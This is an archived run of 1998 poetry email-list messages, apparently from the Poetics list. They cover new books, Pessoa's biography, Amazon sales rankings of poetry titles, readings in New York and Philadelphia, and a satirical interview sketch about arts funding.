Furher info on 'web depression' and the study discussed earlier came in my mailbox today. According to the APA Monitor the study in question is schediled for publication in _The American Psychologist, certainly one of the more rigorous journals in existence in terms of methodologies. This should put to rest some of the doubts about validity, etc., expressed earlier. The content is still open to conjecture?

tom bell

Gary Sullivan wrote:
>
> TEA-TIME WITH GLENDA
>
> Glenda, the Goodhearted Arts Administrator ? and special guest Kristoff, Rebel
> Academic? discuss alienation on the internet and its impact on individual arts

> granting, travel funds for professional conferences, e-mail NEA petitions and
> other arts-related issues.
>
> GLENDA: My guest today is Kristoff, the Moire Effect Chair and Professor of
> Liminal Obfuscation at Brown Buffalo University. He is also the author, most
> recently, of _In the Garden of Giordano Adorno: Totalitarianism and the New
> Cyber Heretics_, published last year by Vervivovuva. Kristoff, I'm really
happy
> to have you here today. Everyone at the Foundation really loved your little
> book.
>
> KRISTOFF: Yes, it seems to have taken on a life of its own.
>
> GLENDA: "A life of its own." Wow. I've never thought of a book having "life"
> before . . . but it does make an odd kind of sense. It's very
> "phenomenological," isn't it? [Giggles.] The cover feels just like human skin!
>
> KRISTOFF: "Giordano Adorno" is, as you know, a hippogriff.
>
> GLENDA: [Blushing.] A hippo--?
>
> KRISTOFF: --griff, yes. Though I suppose to be thoroughly post-Henna 90s
about
> it, we'd call her a hippogrrrl, hmm? "Hippogrrrl." Oh, my. Anyway, "Theodor
> Bruno" just didn't seem quite as catchy. For [chuckles heartily], well, for
> obvious reasons. But then one becomes endlessly attendant to this sort of
> minutiae. Minutiae: M-i-n-u-t-i-a-e. It is all rather insect-like, isn't it?
> So, hmm, yes, I suppose there really was something to Cronenberg's
> cockroach-infested Burroughscape . . . [scribbles in noebook] . . .
>
> GLENDA: You were just inspired to write a poem, weren't you! [Long, deep
sigh.]
> Okay. Let's go back to what you were saying before about books and life.
> There's a relationship between the two you seem to be connecting up. That
seems
> so . . . radical . . . I mean--
>
> KRISTOFF: [Interrupting.] Oh, my, well [blows nose into monogrammed
> handkerchief] it's very radical, Glenda, the academic climate being what it is.
> [Under his breath:] Byzantine cutthroats!
>
> GLENDA: I just love the way books smell! [Inhales the binding of Kristoff's

> book with near-perverse intensity.] How could anyone say the author is dead!
> Smell him! Smell him, Kristoff! [Thrusts book in Kristoff's face, knocking his
> glasses off.]
>
> KRISTOFF: Uhn!
>
> GLENDA: Oh my goodness! Kristoff! I'm so, so sorry! [Fumbles around on the
> floor, coming up with Kristoff's glasses.] I do like these glasses. A lot of
> our successful applicants this year are wearing them. [Looks out through
> Kristoff's glasses.] I'm now seeing the world as Kristoff sees the world! Such
> excess! And yet, such paucity! O! [Smiles, handing glasses back to Kristoff.
> Sing-songy:] I know someone whose travel grant is going to come through!
>
> KRISTOFF: Yes, well, where were we?
>
> GLENDA: We were talking about your book. I just get so excited talking
about
> books. It gives me so much satisfaction to know that we have, through the
> Foundation, helped bring so many important books into print. In fact, if I'm
> not mistaken, _Giordano Adorno_ was one of them!
>
> KRISTOFF: [With slight discomfort.] Indeed it was.
>
> GLENDA: What's it about? Your book, I mean. It sounded interesting from
your
> proposal.
>
> KRISTOFF: Let me see if I can break it down for you sans academese. I was
> playing with ideas about identity, speed, the body, frames, the internet,
> alienation, gender, sexual politics, and culture. I wanted to create a
> post-panopticonic site in which to see the pathology of the individual played
> out to its utter exhaustion against the totalitarian impulses of--
>
> GLENDA: [Interrupting.] By "culture" you mean "multicultural"?
>
> KRISTOFF: Well . . . yes, in a sense, I suppose--
>
> GLENDA: [Visibly relieved; filling teeny-tiny boxes with expressive
> checkmarks:] I thought so. Please, go on. This is truly fascinating. You're so
> articulate! I'm so glad you're my guest today. [Squeezes Kristoff's arm.] Hey!
> You have a tattoo! "I . . . heart . . . Kristeva . . ." Wow, Kristoff. You must
> love your mother very, very much.

>
> KRISTOFF: . . . er . . . yes . . . well, so this book, really, is the
> culmination of some twenty-five years of--
>
> GLENDA: We have to cut to a commercial, Kristoff. Oh. No? We still have time?
> Okay, I'm sorry. Okay. Well, we have half a minute left. Listen. The Foundation
> is putting together an evening of readings by younger poets, we want to feature
> the best and the brightest . . . we put out an open call for applications, but
> there's just . . . [sighs] . . . well, there's just a mountain of submissions,
> Kristoff. We want to be fair about this, of course. So I'm wondering, since we
> have you here . . . as the Moire Effect Chair of Brown Buffalo, you better
> than anyone in the country know who the most promising young poets of today are
> . . . can you give us any suggestions? Lend us any arrows? Point us in the
> right direction?
>
> KRISTOFF: Glenda, I just happened to bring along a list of my former students,
> among whom you'll find--
>
> [CUT TO COMMERCIAL . . .]

--
http://home.talkcity.com/EaselSt/trbell/

↑ Index

257. Harriet Zinnes
New book
Thu 10 Sep 1998

---

10 September l998

May I report that Avisson Press (3007 Taliaferro Rd., Greensboro, N.C. 27408) has just published my new short story collection entitled The Radiant Absurdity of Desire. Publishers Weekly (August l7) has given it a wonderful review. (Because I'm pleased, I'm terribly immodest. Forgive me.)

[redacted]

↑ Index

258. Rachel Loden
Re: Pessoa
Thu 10 Sep 1998

MAYHEW wrote:

> *Since Honig is a quite interesting*
> *poet his Pessoa would be worth looking at.*

The brief bits I posted were from the Honig _Poems of Fernando Pessoa_ (Ecco 1986). City Lights has just reprinted that title, according to Amazon.

Can anyone comment on the quality of the Richard Zenith translations in _Fernando Pessoa & Co. : Selected Poems_ (Grove Press)?

On the road to Dean Martin, watching the Jerry Lewis telethon,

Rachel Loden

↑ Index

259. Todd Baron /*/ ReMap
Re: query: Robert Duncan
Fri 11 Sep 1998

Ramez Ejaz Qureshi wrote:
>
> i have become very interested in Duncan, & gather that quite a few people on
> the list had the privilege of knowing him personally. Would anyone be so
> generous as to share interesting anecdotes or memories about him?
> -Thanx, RQ
having studied with him--sure--giv me yr e-mail address

Todd B.

↑ Index

260. Elizabeth Treadwell
Mina Loy
Fri 11 Sep 1998

Also, not the poem itself but many things about the writing of it are in Carolyn Burke's biography of Mina, called, I think, Becoming Modern? FYI

Elizabeth

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709

U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

261. **Natalia Pang**
Exact Change will publish "Anglo-Mongrels and the Rose"
Fri 11 Sep 1998

Mina Loy

Loin Yam

In my --!? Alo?

Daniel Zimmerman

Amazed Rimm'n Neil

I'm Zed "Merman-Nail"

Harriet Zinnes

I ran the N-sizer

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

262. **dbuuck**
PESSOA
Fri 11 Sep 1998

---

re original query re pessoa's virginity...

in his wonderful introductory essay to the neat little photo-biography "Fernando Pessoa" put out by Hazan's Pocket Archive (1997), Antonio Tabucchi makes reference to a brief relationship b/t pessoa & one Ophelia Soares Qeuiroz (not a heteronym!), a relationship "entirely played out on a level which involved pain and suffering, morbidity, and possibly self-inflicted injury." beneath one of two photos of ophelia the text refers to the relationship as "amorous"... there is also a copy of a plan drawn up by pessoa to walk Ophelia home from work via a route that would maximize the time spent together...

in jose saramago's novel The Year of the Death of Ricardo Reis, more amorous adventures are imagined (?) for pessoa. in william boyd's story "Cork" (in the collection The Destiny of Nathalie X), there are explicit sex scenes between a young woman and 3 different heteronymic versions of Pessoa, each with a different ... technique. Tabucchi has also invoked Pessoa in his fiction, in the

wonderous & melancholic Requim: A Hallucination, tho without any carnal activities...

In addition to the famous heteronyms Caeiro, Campos, & Reis, there are also Bernardo Soares (of the Book of Disquiet), Raphael Baldaya, Antonio Mora, Charles Robert Anon, Alexander Search, A.A. Crosse, C. Pacheco, the Barao di Tieve, Pantaleao, Vicente Guede, Abilio Quaresma, and others. Most had their own horoscopes, bibliographies, philosophies & aesthetics. Critics of each other in print & private. A.A. Crosse won a famous puzzle contest & loaned the winnings to Pessoa in order to buy a home for him & Ophelia...

Soares spoke I believe of writing as an expression of shared solitude. On his deathbed, his last words were "Hand me my glasses..."

T. Bartleby Jones

↑ Index

263. Daniel Zimmerman

Re: Exact Change will publish "Anglo-Mongrels and the Rose"

Fri 11 Sep 1998

Natalia Pang wrote:
>
> Mina Loy
>
> Loin Yam
>
> In my --!? Alo?
>
> Daniel Zimmerman
>
> Amazed Rimm'n Neil
>
> I'm Zed "Merman-Nail"
>
> Harriet Zinnes
>
> I ran the N-sizer
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

:)
:-)
:\)

:~)
;=)

Some names have no anagrams.

- Mind a Merlin Maze

↑ Index

264. Pierre Joris

sm

Fri 11 Sep 1998

---

a hundred years ago (well, on 9 sept 1898) Stéphane Mallarmé died.

odd to think that it took until the 1960s to see the publication of his "Le Livre" ‹ the great impossible score for what was absolutely not a "book" but a performance score.

even odder, in a way, to think that it took until the 1970s to see the first edition that complied with the poet's own specifications (page size, type size, etc.) of his "Coup de Dé."

a new biography & a new augmented & revised edition of his works (a Pléiade volume) have just come out. This week's "Cahier Livres" in the daily Libération has good articles on both & on the man:
http://www.liberation.fr/livres/980910mallarme.html

pierre

==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
It is an absent America whose
presence is at stake
‹ Robin Blaser
==========

↑ Index

265. **Pierre Joris**
NYC Millennium Reading
Fri 11 Sep 1998

> THIS MESSAGE IS IN MIME FORMAT. Since your mail reader does not understand
this format, some or all of this message may not be legible.

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For those in & around Cuidad de Nueva York:

Tuesday 15 September 7:30 pm

Barnes & Noble on Astor Place

A celebratory reading for

POEMS OF THE MILLENNIUM VOL II: POSTWAR TO MILLENNIUM

with:

Jerome Rothenberg & Pierre Joris
Charles Bernstein
Carolee Schneeman
Bruce Andrews
Judith Malina
Eliot Weinberger
Nathaniel Tarn
Cecilia Vicuña
Jackson Mac Low
Armand Schwerner

==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
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==========

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↑ Index

266. Pierre Joris
more sm
Fri 11 Sep 1998

---

re mallarme's "centenaire" -- an excellent website on the poet can be found at:

http://www.mallarme.org/index2.htm

==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
It is an absent America whose
presence is at stake
‹ Robin Blaser
==========

↑ Index

267. Henry Gould
Nedge Six
Fri 11 Sep 1998

Forget the Ken Starr report. Announcing the release of Nedge #6, your orphic alternative.

84 pp., perfect bound, cover design by the very late Henry Gould. Edited by Janet Sullivan and the said very late one. To order, send $6.00 to Nedge, PO Box 2321, Providence, RI 02906. Nedge is produced by a posse of all-volunteer cow-punchers; your $6. helps keep us ridin' the dusty trail, yeehah.

Contributors this round-up include many a list-ranger (all contributors' copies have been mailed):

Poetry: Jonathan Brannen, Mark McCloskey, Beth Simon, Patrick Durgin, Mitch Corber, Gwyn McVay, Errol Miller, Carrie Etter, James Armstrong, Lee Sharkey, Fernand Rocqueplan, Bill Keith, Frances LeMoine, Nava Fader, Bob Heman, Jacqueline K. Gendre, D.E. Steward, Brad Burkholder, Stuart Blazer, Mark Wallace, Rick Snyder, Joe Safdie, Joel Lewis, Paula Tatarunis, Tim Wood, Elizabeth Robinson, Henry Gould;

Fiction: Alfred Schwaid (Nedge has published a number of stories by this wonderful writer) and Janet Sullivan;

Translations: Jesse Glass, Patrick Hutchinson, Valery Chereshnya, Ana Mafalda Leite (French, Portuguese, Russian, Old English).

Please BACKCHANNEL all queries to: [redacted]. Thanks one & all. Especially to List rodeo cowpoke managers. Yeehah, giddyup & so forth.

p.s. what is Nedge?

Nedge is the current incarnation of one of the older little magazines around (started as Harbinger in 1969; Northeast Journal, mid-70s [ie., NEJ]; Nedge, early 90s). We are able to draw on a large submissions base and try to emphasize the individual poem rather than the poet, the group, or the trend. We have published well-known & prizewinning poets, but are equally proud to keep publishing new & "unknown" writers. Despite the Neanderthal tone of poetics list postings by that guy Henry Gould, we have published poets like Leslie Scalapino & Rosmarie Waldrop & other real avant-garde types!! & we are very happy for the opportunity to consider poems, prose, essays & reviews from list members. [snail mail only please, with SASE, to: Nedge, POB 2321, Providence, RI 02906]

↑ Index

268. Jacques Debrot
Re: Barque Books
Fri 11 Sep 1998

I seem to have lost the e-address for barque books -- would appreciate it if someone could backchannel it to me.

thanks

↑ Index

269. Ron Silliman
P=H=I=L=A=D=E=L=P=H=I=A
Fri 11 Sep 1998

I'm doing two Fringe Fest gigs:

A panel on NEA, funding and the Arts (i.e. the "Karen Finley supreme court decision"), with Carlin Romano, editor of the books section of the Inquirer & sometime Nation contributor; Roberto Bedoya, head of the Natl Assoc of Arts Orgs; the Inky's dance critic and a "curator" to be named later. Sunday, 9/13, at Silicon Gallery, 139 N. 3rd St (Old City), 1 PM,

and a reading with Linh Dihn, poet & translator of Vietnamese short fiction, at Helena's Cabaret, Chestnut & Front, Friday, 9/18 at either 9 or 9:30 (I've got flyers with conflicting times!).

Ron Silliman
[redacted]

DO NOT RESPOND to
[redacted]
It is for listservs only.

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

270. Ramez Ejaz Qureshi
Milton query
Fri 11 Sep 1998

when i was but a five year old lad
i read that John Milton 99 times in his life gave head
could anyone this verify
& ya think count kept he?

↑ Index

271. Pritchett,Patrick
Re: Poetry Daily
Fri 11 Sep 1998

Thanks for the heads up, Maxine. But when I go to that site this is what I get.

Poem of the Day
OUR TOWN
Ryan J. Cunningham

Leaving our town you just can't do
All of us here will be missing you
Good luck where ever you may roam
Remember our town will always be home
Having you in our town has been fun
Sorry to see your time here is done.

From: MAXINE CHERNOFF
To: [redacted]
Subject: Poetry Daily
Date: Friday, September 11, 1998 3:43PM

Today, Friday, September 11th, Paul Hoover's poem is on "Poetry Daily." Visit it at www.poems.com.

Maxine Chernoff

↑ Index

272. MAXINE CHERNOFF
Poetry Daily
Fri 11 Sep 1998

Today, Friday, September 11th, Paul Hoover's poem is on "Poetry Daily." Visit it at www.poems.com.

Maxine Chernoff

↑ Index

273. Natalia Pang
Re: NYC Millennium Reading
Fri 11 Sep 1998

At Barnes & Noble?

Better to read in a park or at some friend's apartment than at Barnes & Noble

People say, They have so many books I want, right there in one place!

and I say Fuck you, you're lazy

Most important, B and N fiercely anti-union, aren't they

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

274. Mark Weiss
(no subject)
Fri 11 Sep 1998

Here's an idea for an oblique but handsome kind of federal support for the arts.

The Starr report, now so generously supplied us via internet, is, I believe, public domain. What's to keep some poetry press or presses from publishing an illustrated edition? The proceeds should cover the production costs of a lot of poetry books. My guess is that every member of the federal and state legislatures would want one immediately, a hefty number of sales even before the general public lines up.

As to illustrations, use your imaginations. My own idea would be, since photos of the faces of celebrities are also public property (no libel law protection there), to attach said images (and throw Starr in for good measure) to body doubles behaving in an illustrative manner.

I throw this out for whoever wishes. I myself am too overcome with lethargy to profit from my own idea. An acknowledgement on the copyright page would be nice, tho.

↑ Index

275. Mark Weiss
Federal arts support
Fri 11 Sep 1998

Needless to say, childrens' eyes should be shielded from my last post.

↑ Index

276. michael corbin
Re: NYC Millennium Reading
Sat 12 Sep 1998

Natalia Pang wrote:

> *At Barnes & Noble?*

particularly in NYC. gives no faith in those milleni+um readers. why, indeed. a small detail perphaps. not at the Y. or maybe some even mildly neutral space. why? its not like a publisher thing. not like yous goin to get a general dilletante audience. are yous trying to get buyers? so much for that. so much for that. what margins, what margins, what margins. i don't understand really. its the

kind of oversight oversight oversight oversight that gives the institute gardey avantes a bad fu=cking mane,

mc

↑ Index

277. Mark Salerno
Brian Lucas
Sat 12 Sep 1998

Brian Lucas:

If you are there, please backchannel with current contact info (address, phone, e-mail).

Thank you.

Mark Salerno

↑ Index

278. Ron Silliman
Best Sellers (?)
Sat 12 Sep 1998

Here's something almost as lurid as the story of the cigar in the Starr Report.

A co-worker [the author of _God Save the Quarterback_, a sports book about US style football in the UK, to be exact] pointed this out to me and I pass it along more for bemusement than enlightenment, but...

Amazon.com now claims to have rank ordered all 3,000,000 books it claims to sell in terms of their sales figures. In theory, at least, this presents a poetry "best sellers" list.

There are obvious problems here. I for one tend to get my books from three sources -- SPD, Bridge Street Books & directly from publishers -- none of which would ever get counted by such a system. And I suspect that small press buyers in general will stay away from Amazon, so the list is all the more suspect.

And it exists in a world in which Tom Clancy is still #1. Thus saying nothing about value (or, perhaps, all too much). Of course, Mr. Clancy is about to be displaced by Kenneth Starr when that hits your checkout counter at the Super G next Tuesday (the first mass distributed porn novel!).

But...

Here are some rankings as of yesterday (out of a possible 3 million). Wherever there was a choice, I chose the paperback to check.

Ted Hughes, The Birthday Letters, 1,835
Best American Poetry, 1998 3,761
AG, Howl & Other Poems 3,890 (after 43 years!)
Donald Hall, Without 14,135
Poems for the Millenium, Vol 2 24,970
Poems for the Millenium, Vol 1 33,095
Allen Ginsberg, Collected Poems 33,291
Jorie Graham, Dream of a Unified Field 44,291 (not a typo)
JD McClatchy, Ten Commandments 70,244
Margy Sloan, Moving Borders 72,240
Acker, Blood & Guts in High School 75,073
The L=A=N=G=U=A=G=E Book 89,148
Acker, Bodies of Work 97,182
Robert Hass, Sun Under Wood 97,067
Celan, Breathturn 98,518
Perelman, Marginalization of Poetry 128,700
Ashbery, Can You Hear, Bird 134,833
Creeley, Collected Poems 136,634
Dana Gioia, Gods of Winter 151,311
Jorie Graham, Errancy 154,316
Perloff, Radical Artifice 163,982
Lew Welch, Ring of Bone 176,647
In the American Tree 189,557
Acker, Don Quixote 192,379
Creeley, Life and Death 198,541
Watten, Frame 219,401
Hejinian, The Cold of Poetry 245,352
Elaine Equi, Decoy 247,338
Bernstein, Dark City 288,634
Bernstein, Close Listening 356,420
Watten, Total Syntax 362,114
Coolidge, Crystal Text 389,892
Gertrude Stein Awards, 94-95 448,790
Perelman, Virtual Reality 462,792
Perelman, Writing/Talks 522,751
Armantrout, Made to Seem 566,537
RS, Lyn, Watten, Davidson, Leningrad 665,959
Silliman, Demo to Ink 771,155
Silliman, Xing 771,157 (Meow Press!)
Fanny Howe, The End 920,071
O'Sullivan, Out of Everywhere 1,061,724

Bromige, Harbormaster of Hong Kong 1,146,129
Jim Brodey, Heart of Breath 1,148,421

There are presumably two million books available through Amazon that sell less well than does Jim Brodey's collected (which I own and recommend, but would not buy through Amazon).

I will leave this to the sociologists of the imagination (Gary Sullivan, are you out there?) to contemplate what any of this might mean.

Ron

Ron Silliman
[redacted]

DO NOT RESPOND to
[redacted]
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↑ Index

279. beth lee simon
Re: Best Sellers (?)
Sat 12 Sep 1998

Ron Silliman wrote:
>
> Here's something almost as lurid as the story of the cigar in the Starr
> Report.
>
> A co-worker [the author of _God Save the Quarterback_, a sports book
> about US style football in the UK, to be exact] pointed this out to me
> and I pass it along more for bemusement than enlightenment, but...
>
> Amazon.com now claims to have rank ordered all 3,000,000 books it claims
> to sell in terms of their sales figures. In theory, at least, this
> presents a poetry "best sellers" list.
>
> There are obvious problems here. I for one tend to get my books from
> three sources -- SPD, Bridge Street Books & directly from publishers --
> none of which would ever get counted by such a system. And I suspect
> that small press buyers in general will stay away from Amazon, so the
> list is all the more suspect.

>
> And it exists in a world in which Tom Clancy is still #1. Thus saying
> nothing about value (or, perhaps, all too much). Of course, Mr. Clancy
> is about to be displaced by Kenneth Starr when that hits your checkout
> counter at the Super G next Tuesday (the first mass distributed porn
> novel!).
>
> But...
>
> Here are some rankings as of yesterday (out of a possible 3 million).
> Wherever there was a choice, I chose the paperback to check.
>
> Ted Hughes, The Birthday Letters, 1,835
> Best American Poetry, 1998 3,761
> AG, Howl & Other Poems 3,890 (after 43 years!)
> Donald Hall, Without 14,135
> Poems for the Millenium, Vol 2 24,970
> Poems for the Millenium, Vol 1 33,095
> Allen Ginsberg, Collected Poems 33,291
> Jorie Graham, Dream of a Unified Field 44,291 (not a typo)
> JD McClatchy, Ten Commandments 70,244
> Margy Sloan, Moving Borders 72,240
> Acker, Blood & Guts in High School 75,073
> The L=A=N=G=U=A=G=E Book 89,148
> Acker, Bodies of Work 97,182
> Robert Hass, Sun Under Wood 97,067
> Celan, Breathturn 98,518
> Perelman, Marginalization of Poetry 128,700
> Ashbery, Can You Hear, Bird 134,833
> Creeley, Collected Poems 136,634
> Dana Gioia, Gods of Winter 151,311
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> Lew Welch, Ring of Bone 176,647
> In the American Tree 189,557
> Acker, Don Quixote 192,379
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> Watten, Frame 219,401
> Hejinian, The Cold of Poetry 245,352
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> O'Sullivan, Out of Everywhere 1,061,724
> Bromige, Harbormaster of Hong Kong 1,146,129
> Jim Brodey, Heart of Breath 1,148,421
>
> There are presumably two million books available through Amazon that
> sell less well than does Jim Brodey's collected (which I own and
> recommend, but would not buy through Amazon).
>
> I will leave this to the sociologists of the imagination (Gary Sullivan,
> are you out there?) to contemplate what any of this might mean.
>
> Ron
>
> Ron Silliman
> [redacted]
> [redacted]
>
> DO NOT RESPOND to
> [redacted]
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>
> _____
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Earlier this week, msnbc.com ran an article questioning amazon.com net worth reports, and suggesting that they were both unreliable and possibly manipulated.

I don't know how one goes about reading "back issues" of a website such as msnbc, (obviously, I didn't try to retrieve this one) but articles should be retrievable somehow.

beth

↑ Index

280. KENT JOHNSON
Re: Bestsellers
Sat 12 Sep 1998

Ron:

I don't think these figures mean much at all, except as a kind of very short term index of orders. For example, someone wrote to me about a month ago to tell me that lo and behold, when he had looked a couple days back, _Doubled Flowering_ was ranked at 4,000 something out of 3 million titles. When I went to check, hardly believing this could be true, the book ws listed at 29,000 or so. I went back a few days later, and sure enough, there it was, pushing 10,000. Today, after reading your post, I checked again: Now it has crashed down to 295,265!

Clearly, such wild fluctuations are caused by little conjunctural sale-blips in a given week or two, most likely class orders for poetry titles.

You don't really think these rankings suggest that there may yet be hope for poetry in the market, do you?

Kent

↑ Index

281. Natalia Pang
Re: Best Sellers (?)
Sat 12 Sep 1998

Ted Hughes, The Birdy Leers, 1,835
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Jim Brodey, Heart of Breath 1,148,421

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↑ Index

282. KENT JOHNSON

Rankings

Sat 12 Sep 1998

Oops, as they say, I see in checking the post I mentioned that it was not 4,000 some, but 14,000 some. Yasusada never did climb that high in the Amazon rankings, I guess.

Kent

↑ Index

283. **Mark DuCharme**

Re: 10-4 good buddy

Sat 12 Sep 1998

Personally, I see Robin Williams as Stroffolino & Tom Hanks as Davis. What about you-all?

```
>  ah one of my CW (Mccoll?) students just submitted a poem called
>   "breaker, breaker". I used to have a CB and a paper-route.
>   I'm havin' trouble with the teminology but I'm into CB--
>   which could stand for Charles Bernstein--one of the first
>   mag (actually ZINE be the word, c) eds. to pub. l'il ol' me--
>   under a punk juvenalia psedonym (PAT RIOT, urgh), the zine
>   called COPS HATE POETRY (not SMOKEYS---oh did i mention I'm
>   born the same day as Jerry Reed),
>     or CLINT BURNHAM--who edited a mag called CB and who
>       now lives in BC and who prefers THE FALL to ACDC (methinks)
>                     (oh jimmy schuyler jackson 5 ABC)
>       buth what if the smokeys already getcha, gotcha (like the
>        70s razor comercial?). he do the police in different...
>        " he is the author of three books including COPS..."
>   and the smokeys may then there get RACHEL LEVITSKY if she's
>    not carful if she's gonna APE that song by Stevie Blind Boy
>   Wonder because he gets put in prison for being unwitting FALL guy
>   (totally wired?), but then Bill Louima plunged in and told me
>     that my last book was written when I was a prisoner
>       (of my own device? oh to fly like a beagle or bagel
>          anything but HEGEL; even KANT, he's better on marriage)
>      and I though that maybe that was true
>       but I hope the only way out isn't to have to be baseball
>            or hawaiin (Cow (CB)....PUNCH, the OZmuns,(frankly mup)
>            but this be glitch glitch glitch---
>              glitter gulch? GULPH MILLS.("in a world of labials")
>                      standard and gamble (and huff!)
>                       proctor and poors
>                      beaker beaker 70s club scene, cub seen
>                        (exi[s]t, pursued by a bear)------
>                       kristroffer (a beaker baby
>                                 with a hairy mind)
>
>
>On Wed, 9 Sep 1998, Jordan Davis wrote:
>
```

>> Ah thank you, Chris --
>>
>> Evuh notice the neahness of e-mail cultchah to the 70s cb scene? Evuhbody
>> loggin long hours goin' down the highway, high on stimulants, starin'
>> straight ahayud. Ah'm hopin' theyull cast Kris Kristoffuhson as Henr' in the
>> movie, POETRIX --
>>
>> don't let the smokeys getch' --
>> Signed, Greg Evigan
>>
>

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↑ Index

284. L. MacMahon and T.R. Healy

mag nets from PaperBrainPress

Sat 12 Sep 1998

MAG NETS by M Magoolaghan, 20pp, PaperBrainPress1860 Pacific Beach Drive #4, San Diego, CA 92109,

Tiles pulled randomly from packaging, loose letters and uncropped combinations arranged as they were found provided the method of composition used in this text. The result is an extremely fractured sequence which, beginning in near gibberish, gradually establishes its own idiom. An idiom which mirrors beautifully the abundance of textual fracture with which we are surrounded as each day offers its selection of billboards, packaging, headlines, notices and tickets. The author's decision to minimise editing puts it up to the reader: are you going to look for significance? does it hold together? is it fun? Yes to the last anyway, for the rest you're on your own. There is a pleasant suggestion underlying this assembly of relics, that "this too will pass' and in places a hint of the process of language change as the jumps and truncations assert an odd but self-consistent syntax.

<c>a s
a r

put egg
out

fast
swim

arm is beat
leg do lazy

day flood
ing black

spring <c>

The design of the book is charming, size 106 mm x 221 mm just right for the drawing of the double doored fridge which takes up the cover (the theme continues on the back cover with a drawing of all those loops for pumping out the heat) . The title and author's name are tricked out as fridge magnets. I didn't mention that after pages of short lines as in the example above there's a block of text about a third of a page long that in that context has the effect of a choir bursting out from behind a bush at a picnic. Long live PBP.

Randolph Healy

↑ Index

285. William Slaughter

Mudlark Flash

Sat 12 Sep 1998

NEW & ON VIEW

A Flash Poem from Mudlark

* *

News That Stays

by Kenneth Sherwood

* *

MUDLARK
An Electronic Journal
of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

↑ Index

286. **Ron Silliman**
Numbers
Sat 12 Sep 1998

Obviously, I don't think the numbers here can be trusted -- even if they are not tampered with in any way, the source itself makes it a far cry from any kind of neutral perspective. Amazon.com is attractive to a particular kind of web buyer, generally, plus some other types under particular circumstances.

But I did look at those numbers both hopefully and in despair. Hopefully, because well, darn, there are 2 million books that come AFTER the very last of my examples. In despair, thinking of what numbers like those mean for the distribution of poetry in general bookstores period. Think of the medium sized independent book store with room for 50,000 titles max. How many books of poetry will they carry and of what sort?

On the third hand, however, I was intrigued that the inherent "top of mind" bias I would expect regarding the NY trade houses did not show up more pronouncedly. Certainly, those presses will be more widely represented in my hypothetical 50K title independent, where distribution comes much more into play, and even moreso in the chains. Yet, move them just one step away from that sort of distribution bias, like a virtual service would, and the playing field levels significantly. They may still get all the reviews in the NYT and NYBR, but it's a pleasure to see Ginsberg, Poems for the Millenium and Sun & Moon books represented as highly as they are.

And it's great to see Lew Welch (one of my tests for The Disappeared) show up so highly. Unfortunately, Amazon claimed not to have heard of Joe Ceravolo when I searched.

But as Pound, Creeley, Spicer, Judy Grahn, Lee Hickman and others have all already proven, you can change the world of poetry with just a few copies of anything if you just get them into the hands of their best possible audience.

Ron

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↑ Index

287. **louis stroffolino**
Re: Best Sellers (?)
Sun 13 Sep 1998

Hey, Natalia, order me up a couple copies of DINK....
or at least VIRILITY, with a side order of

poems for the num--either volume.....
thanks, chris

On Sat, 12 Sep 1998, Natalia Pang wrote:

> *Ted Hughes, The Birdy Leers, 1,835*
> *Best American Pot, 1998 3,761*
> *AG, owl & her ems 3,890 (after 43 years!)*
> *Donald Hall, Wo 14,135*
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> *Jim Brodey, Heart of Breath 1,148,421*

> _____
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↑ Index

288. **George Bowering**
Re: 10-4 good buddy
Sun 13 Sep 1998

> *I can't let this pass without mentioning that we watched *Smokey and the Bandit* in its entirety late the other night and it seemed utterly alien material from another time. ..*
> *the pleasure of the joke which is*
> *gut-busting funny precisely because nothing could be less funny.*

How is this different from Seinfeld?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

289. **Michael Magee**
Re: 10-4 good buddy
Sun 13 Sep 1998

I guess the difference would lie in the single-mindedness of the bandit scenario - no weaving of various plots (part of the fun of Seinfeld, where various jokes end up surprisingly in dialogue) - and also none of Seinfeld's ironic winking, his pop-post-mod admission that its all artifice. Smokey and the Bandit is straight up and it assumes that speeding without getting pulled over is transcendental good fun. -m.

According to George Bowering: >
> >I can't let this pass without mentioning that we watched *Smokey and the
> >Bandit* in its entirety late the other night and it seemed utterly alien
> >material from another time. ..
> >the pleasure of the joke which is
> >gut-busting funny precisely because nothing could be less funny.
>
> How is this different from Seinfeld?
>

>
>
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]
>

↑ Index

290. **David Golumbia**
Re: Best Sellers (?)
Sun 13 Sep 1998

---

louis stroffolino wrote:
>
> > Dana Gioia, Molestor 151,311

Dear Mr. "s,"

I resent it! I never molest... poetry.

Dana Gardenia

--
[redacted]
David Golumbia

↑ Index

291. **dbkk**
PESSOA
Sun 13 Sep 1998

On Fri, 11 Sep 1998 "T. Bartleby Jones" ([redacted]) wrote about the ways in which later 20th century heterosexuals have taken Fernando Pessoa as one of their own, giving him an enviable sexual afterlife . . . We might also take a look at Donald Mager's entry on Pessoa in the "Gay and Lesbian Literary Heritage" (Henry Holt, 1995) in which FP is refigured into a kind of Portuguese Langston Hughes, refined, dandyish, left-leaning, virginal, but obsessed, in his English poems, with A E Housman, Hadrian, Antinous, and (as "Alvaro de Campos") with the shamanic gay interpenetrative spirit of Walt Whitman.

His heteronyms, etc., in this essay seen as a species of drag performativity.

But I know next to nothing about Pessoa and perhaps there really was an "Ophelia."

See you . . .

Kevin Killian

↑ Index

292. Lawrence Upton.
WORD SCORE UTTERANCE TEXT
Sun 13 Sep 1998

To all concerned as contributors or potential readers, _the visual poetry book_ edited by Upton and Cobbing and including many from USA and Canada, now entitled WORD SCORE UTTERANCE CHOREOGRAPHY and now with the ISBN 0 86162 750 4 goes to the printers this week, at what looks like 156 pages, after a couple of last minute adjustments - and it is hoped that it will be out quite quickly.

